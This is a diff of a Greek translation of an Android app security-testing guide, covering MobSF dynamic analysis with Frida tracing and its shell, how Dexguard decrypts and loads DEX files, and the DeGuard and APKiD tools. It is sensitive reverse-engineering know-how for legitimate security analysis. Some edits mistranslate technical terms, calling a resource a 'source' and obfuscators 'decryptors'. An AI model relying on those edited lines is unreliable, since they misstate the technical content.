-- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
+- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api.
 
-Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
+Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**".
 
 **Shell**
 
-Το MobSF σας παρέχει επίσης ένα shell με κάποιες εντολές **adb**, **εντολές MobSF**, και κοινές **εντολές shell** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
+Το MobSF σας παρέχει επίσης ένα shell με κάποιες **adb** εντολές, **MobSF commands**, και κοινές **shell** **εντολές** στο κάτω μέρος της σελίδας δυναμικής ανάλυσης. Ορισμένες ενδιαφέρουσες εντολές:
 ```bash
 help
 shell ls
@@ -699,15 +703,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 (Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν:
 
-- φορτώστε έναν πόρο ως InputStream;
+- φορτώστε μια πηγή ως InputStream;
 - τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε;
-- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή;
+- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε λίγα λεπτά χρόνου από έναν αναλυτή;
 - τροφοδοτήστε το αποκρυπτογραφημένο αποτέλεσμα σε ένα ZipInputStream για να αποκτήσετε ένα αρχείο DEX;
-- τελικά φορτώστε το προκύπτον DEX ως Πόρο χρησιμοποιώντας τη μέθοδο `loadDex`.
+- τελικά φορτώστε το προκύπτον DEX ως Πηγή χρησιμοποιώντας τη μέθοδο `loadDex`.
 
 ### [DeGuard](http://apk-deguard.com)
 
-**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης του Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
+**Το DeGuard αντιστρέφει τη διαδικασία απόκρυψης που εκτελούν τα εργαλεία απόκρυψης Android. Αυτό επιτρέπει πολλές αναλύσεις ασφάλειας, συμπεριλαμβανομένης της επιθεώρησης κώδικα και της πρόβλεψης βιβλιοθηκών.**
 
 Μπορείτε να ανεβάσετε ένα αποκρυπτογραφημένο APK στην πλατφόρμα τους.
 
@@ -721,7 +725,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ### [APKiD](https://github.com/rednaga/APKiD)
 
-Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **εργαλεία απόκρυψης** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για το Android.
+Το APKiD σας δίνει πληροφορίες για **πώς δημιουργήθηκε ένα APK**. Αναγνωρίζει πολλούς **μεταγλωττιστές**, **πακεταριστές**, **αποκρυπτογραφητές** και άλλα περίεργα πράγματα. Είναι το [_PEiD_](https://www.aldeid.com/wiki/PEiD) για Android.
 
 ### Manual